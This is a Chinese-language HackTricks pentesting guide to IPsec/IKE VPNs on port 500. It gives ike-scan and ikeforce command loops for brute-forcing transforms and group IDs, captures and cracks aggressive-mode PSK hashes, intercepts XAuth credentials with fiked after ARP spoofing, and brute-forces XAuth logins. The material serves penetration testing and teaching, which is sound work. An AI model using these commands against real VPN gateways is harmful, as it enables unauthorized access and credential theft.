hacktricks/network-services-pentesting/ipsec-ike-vpn-pentesting.md

273 lines
17 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 500/udp - 渗透测试 IPsec/IKE VPN
<details>
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS 红队专家)</strong></a><strong></strong></summary>
支持 HackTricks 的其他方式:
* 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版本的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** 上关注**我们。
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
</details>
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## 基本信息
**IPsec** 被广泛认可为用于保护网络之间通信LAN 到 LAN以及远程用户到网络网关远程访问的主要技术是企业 VPN 解决方案的支柱。
两个点之间的**安全关联SA**的建立由 **IKE** 管理,它在 ISAKMP 的框架下运行,这是一个设计用于认证和密钥交换的协议。这个过程分为几个阶段:
* **第 1 阶段:** 在两个端点之间创建一个安全通道。通过使用预共享密钥PSK或证书来实现可以使用主模式涉及三对消息或**主动模式**。
* **第 1.5 阶段:** 虽然不是强制的,这个阶段称为扩展认证阶段,通过要求用户名和密码来验证尝试连接的用户的身份。
* **第 2 阶段:** 该阶段致力于协商使用 **ESP****AH** 来保护数据的参数。它允许使用不同于第 1 阶段的算法,以确保**完美前向保密性PFS**,增强安全性。
**默认端口:** 500/udp
## 使用 nmap **发现**该服务
```
root@bt:~# nmap -sU -p 500 172.16.21.200
Starting Nmap 5.51 (http://nmap.org) at 2011-11-26 10:56 IST
Nmap scan report for 172.16.21.200
Host is up (0.00036s latency).
PORT STATE SERVICE
500/udp open isakmp
MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems)
```
## **查找有效的转换**
IPSec配置可能只准备接受一个或几个转换。一个转换是一组值的组合。**每个转换**包含一些属性如DES或3DES作为**加密算法**SHA或MD5作为**完整性算法**,预共享密钥作为**认证类型**Diffie-Hellman 1或2作为密钥**分发算法**以及28800秒作为**生存期**。
因此,你首先要做的是**找到一个有效的转换**,这样服务器才会与你通信。为此,你可以使用工具**ike-scan**。默认情况下Ike-scan在主模式下工作并向网关发送一个带有ISAKMP头和一个包含**八个转换**的提议的数据包。
根据响应,你可以获取有关端点的一些信息:
```
root@bt:~# ike-scan -M 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200 Main Mode Handshake returned
HDR=(CKY-R=d90bf054d6b76401)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)
Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 returned handshake; 0 returned notify
```
正如您在前面的回复中所看到的,有一个名为**AUTH**的字段,其值为**PSK**。这意味着 VPN 是使用预共享密钥配置的(这对于渗透测试人员来说非常有利)。
**最后一行的值也非常重要:**
* _0 returned handshake; 0 returned notify:_ 这意味着目标**不是 IPsec 网关**。
* _**1 returned handshake; 0 returned notify:**_ 这意味着**目标已配置为 IPsec 并愿意执行 IKE 协商,并且您提出的一个或多个变换是可接受的**(有效的变换将显示在输出中)。
* _0 returned handshake; 1 returned notify:_ VPN 网关在**没有任何可接受的变换**时会响应通知消息(尽管有些网关不会,这种情况下需要进一步分析并尝试修订提议)。
因此,在这种情况下,我们已经有一个有效的变换,但如果您处于第三种情况,则需要**稍微暴力破解以找到有效的变换**
首先,您需要创建所有可能的变换:
```bash
for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for AUTH in 1 2 3 4 5 6 7 8 64221 64222 64223 64224 65001 65002 65003 65004 65005 65006 65007 65008 65009 65010; do for GROUP in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do echo "--trans=$ENC,$HASH,$AUTH,$GROUP" >> ike-dict.txt ;done ;done ;done ;done
```
然后使用ike-scan对每个进行暴力破解这可能需要几分钟
```bash
while read line; do (echo "Valid trans found: $line" && sudo ike-scan -M $line <IP>) | grep -B14 "1 returned handshake" | grep "Valid trans found" ; done < ike-dict.txt
```
如果暴力破解没有成功,也许服务器甚至对有效的转换也没有握手而直接响应。那么,你可以尝试相同的暴力破解,但使用侵略模式:
```bash
while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive -P handshake.txt $line <IP>) | grep -B7 "SA=" | grep "Valid trans found" ; done < ike-dict.txt
```
希望**有效的转换被回显**。\
您可以尝试使用[**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py)进行**相同的攻击**。\
您还可以尝试使用[ikeforce](https://github.com/SpiderLabs/ikeforce)来暴力破解转换:
```bash
./ikeforce.py <IP> # No parameters are required for scan -h for additional help
```
![](<../.gitbook/assets/image (617).png>)
在**DH Group: 14 = 2048-bit MODP**和**15 = 3072-bit**\
**2 = HMAC-SHA = SHA1 (在这种情况下)。`--trans`格式为 $Enc,$Hash,$Auth,$DH**
思科建议避免使用 DH 组 1 和 2因为它们不够强大。专家认为**拥有大量资源的国家可以轻松破解**使用这些弱组的数据加密。这是通过使用一种特殊方法来准备快速破解代码来实现的。尽管设置这种方法需要花费大量资金,但它使这些强大的国家能够实时阅读使用不够强大的组(如 1,024 位或更小)的加密数据。
### 服务器指纹识别
然后,您可以使用 ike-scan 尝试**发现设备的供应商**。该工具发送初始提议并停止重播。然后,它将**分析**从服务器接收的消息与匹配响应模式之间的**时间**差异,渗透测试人员可以成功识别 VPN 网关供应商。此外,一些 VPN 服务器将使用带有 IKE 的可选**供应商 ID (VID) 负载**。
**如有需要,请指定有效的转换**(使用 --trans
如果 IKE 发现供应商,它将打印出来:
```
root@bt:~# ike-scan -M --showbackoff 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200 Main Mode Handshake returned
HDR=(CKY-R=4f3ec84731e2214a)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)
IKE Backoff Patterns:
IP Address No. Recv time Delta Time
172.16.21.200 1 1322286031.744904 0.000000
172.16.21.200 2 1322286039.745081 8.000177
172.16.21.200 3 1322286047.745989 8.000908
172.16.21.200 4 1322286055.746972 8.000983
172.16.21.200 Implementation guess: Cisco VPN Concentrator
Ending ike-scan 1.9: 1 hosts scanned in 84.080 seconds (0.01 hosts/sec). 1 returned handshake; 0 returned notify
```
这也可以通过 nmap 脚本 _**ike-version**_ 来实现。
## 查找正确的 ID组名
为了被允许捕获哈希值,您需要一个支持主动模式和正确 ID组名的有效转换。您可能不知道有效的组名因此您将不得不使用暴力破解来尝试。\
为此,我建议您使用 2 种方法:
### 使用 ike-scan 进行 ID 暴力破解
首先尝试使用一个虚假的 ID 发出请求,尝试收集哈希值("-P"
```bash
ike-scan -P -M -A -n fakeID <IP>
```
如果**没有返回哈希值**,那么可能这种暴力破解方法会奏效。**如果返回了某个哈希值这意味着将为一个虚假的ID发送一个虚假的哈希值因此这种方法不可靠**用于暴力破解ID。例如可能会返回一个虚假的哈希值在现代版本中会发生
![](<../.gitbook/assets/image (917).png>)
但正如我所说如果没有返回哈希值那么你应该尝试使用ike-scan来暴力破解常见的组名。
这个脚本**将尝试暴力破解可能的ID**并将返回进行握手验证的ID这将是一个有效的组名
如果你发现了特定的转换请将其添加到ike-scan命令中。如果你发现了几种转换请随时添加一个新的循环来尝试它们直到其中一个正常工作为止
你可以使用[ikeforce的字典](https://github.com/SpiderLabs/ikeforce/blob/master/wordlists/groupnames.dic)或[seclists中的字典](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/ike-groupid.txt)来暴力破解常见的组名:
```bash
while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt
```
### 使用Iker进行ID暴力破解
[**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py) 也使用 **ike-scan** 来暴力破解可能的组名。它遵循自己的方法来 **根据ike-scan的输出找到有效的ID**
### 使用ikeforce进行ID暴力破解
[**ikeforce.py**](https://github.com/SpiderLabs/ikeforce) 是一个工具,可以用来 **暴力破解ID**。该工具将 **尝试利用不同的漏洞**,这些漏洞可以用来 **区分有效和无效的ID**可能会有误报和漏报这就是为什么我更喜欢在可能的情况下使用ike-scan方法
默认情况下,**ikeforce** 会在开始时发送一些随机的ID以检查服务器的行为并确定要使用的策略。
* **第一种方法** 是通过 **搜索** Cisco系统的 **Dead Peer Detection DPD** 信息来暴力破解组名(只有在组名正确时服务器才会回复此信息)。
* 可用的 **第二种方法****检查每次尝试发送的响应数量**因为有时在使用正确的ID时会发送更多数据包。
* **第三种方法** 是在响应中 **搜索"INVALID-ID-INFORMATION"** 来识别不正确的ID。
* 最后,如果服务器对检查没有任何回复,**ikeforce** 将尝试暴力破解服务器并检查当发送正确的ID时服务器是否会回复一些数据包。\
显然暴力破解ID的目的是在获得有效ID后获取 **PSK**。然后,使用 **ID****PSK**您将需要暴力破解XAUTH如果启用
如果您发现了特定的转换请将其添加到ikeforce命令中。如果您发现了多个转换请随时添加一个新的循环来尝试它们您应该尝试它们所有直到其中一个正常工作为止
```bash
git clone https://github.com/SpiderLabs/ikeforce.git
pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
```
```bash
./ikeforce.py <IP> -e -w ./wordlists/groupnames.dic
```
### 嗅探ID
(来自书籍**网络安全评估:了解您的网络**还可以通过嗅探VPN客户端和服务器之间的连接来获取有效的用户名因为包含客户端ID的第一个主动模式数据包是明文发送的
![](<../.gitbook/assets/image (891).png>)
## 捕获和破解哈希
最后,如果您找到了一个**有效的转换**和**组名**,并且**允许主动模式**,那么您可以非常容易地获取可破解的哈希:
```bash
ike-scan -M -A -n <ID> --pskcrack=hash.txt <IP> #If aggressive mode is supported and you know the id, you can get the hash of the passwor
```
哈希将保存在 _hash.txt_ 中。
您可以使用 **psk-crack**、**john**(使用 [**ikescan2john.py**](https://github.com/truongkma/ctf-tools/blob/master/John/run/ikescan2john.py))和 **hashcat****破解** 这个哈希:
```bash
psk-crack -d <Wordlist_path> psk.txt
```
## **XAuth**
**Aggressive mode IKE**结合**预共享密钥 (PSK)**通常用于**群组认证**目的。这种方法通过**XAuth (扩展认证)**进行增强,引入了额外的**用户认证**层。这种认证通常利用**Microsoft Active Directory**、**RADIUS**或类似系统的服务。
转向**IKEv2**,观察到一个显著的变化,即使用**EAP (可扩展认证协议)**代替**XAuth**来对用户进行认证。这一变化突显了安全通信协议中认证实践的演变。
### 本地网络中间人攻击以捕获凭据
因此,您可以使用 _fiked_ 捕获登录数据,并查看是否存在任何默认用户名 (您需要将 IKE 流量重定向到 `fiked` 以进行嗅探,这可以通过 ARP 欺骗来完成,[更多信息](https://opensourceforu.com/2012/01/ipsec-vpn-penetration-testing-backtrack-tools/))。Fiked 将充当 VPN 终端点,并捕获 XAuth 凭据:
```bash
fiked -g <IP> -k testgroup:secretkey -l output.txt -d
```
### 使用 IPSec 尝试进行中间人攻击,并阻止所有流量访问端口 500如果 IPSec 隧道无法建立,也许流量将以明文形式发送。
### 使用 ikeforce 对 XAUTH 用户名和密码进行暴力破解
要对 **XAUTH** 进行暴力破解(当你知道一个有效的组名 **id****psk** 时),你可以使用一个用户名或用户名列表以及一个密码列表:
```bash
./ikeforce.py <IP> -b -i <group_id> -u <username> -k <PSK> -w <passwords.txt> [-s 1]
```
这样ikeforce 将尝试使用每个用户名:密码组合进行连接。
## 使用 IPSEC VPN 进行身份验证
在 Kali 中,**VPNC** 用于建立 IPsec 隧道。**配置文件** 必须位于目录 `/etc/vpnc/` 中。您可以使用命令 _**vpnc**_ 来启动这些配置文件。
以下命令和配置说明了使用 VPNC 建立 VPN 连接的过程:
```bash
root@system:~# cat > /etc/vpnc/samplevpn.conf << STOP
IPSec gateway [VPN_GATEWAY_IP]
IPSec ID [VPN_CONNECTION_ID]
IPSec secret [VPN_GROUP_SECRET]
IKE Authmode psk
Xauth username [VPN_USERNAME]
Xauth password [VPN_PASSWORD]
STOP
root@system:~# vpnc samplevpn
VPNC started in background (pid: [PID])...
root@system:~# ifconfig tun0
```
在这个设置中:
- 用 VPN 网关的实际 IP 地址替换 `[VPN_GATEWAY_IP]`
- 用 VPN 连接的标识符替换 `[VPN_CONNECTION_ID]`
- 用 VPN 的组密码替换 `[VPN_GROUP_SECRET]`
- 用 VPN 认证凭据替换 `[VPN_USERNAME]``[VPN_PASSWORD]`
- `[PID]` 表示 `vpnc` 启动时将分配的进程 ID。
确保在配置 VPN 时使用实际安全值替换占位符。
## 参考资料
- [PSK 破解论文](http://www.ernw.de/download/pskattack.pdf)
- [SecurityFocus Infocus](http://www.securityfocus.com/infocus/1821)
- [扫描 VPN 实现](http://www.radarhack.com/dir/papers/Scanning\_ike\_with\_ikescan.pdf)
- 《网络安全评估第三版》
## Shodan
- `port:500 IKE`
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
<details>
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS 红队专家)</strong></a><strong></strong></summary>
支持 HackTricks 的其他方式:
- 如果您想在 HackTricks 中看到您的公司广告或下载 HackTricks 的 PDF请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
- 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
- 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFT**](https://opensea.io/collection/the-peass-family)收藏品
- **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live) 上 **关注** 我们。
- 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
</details>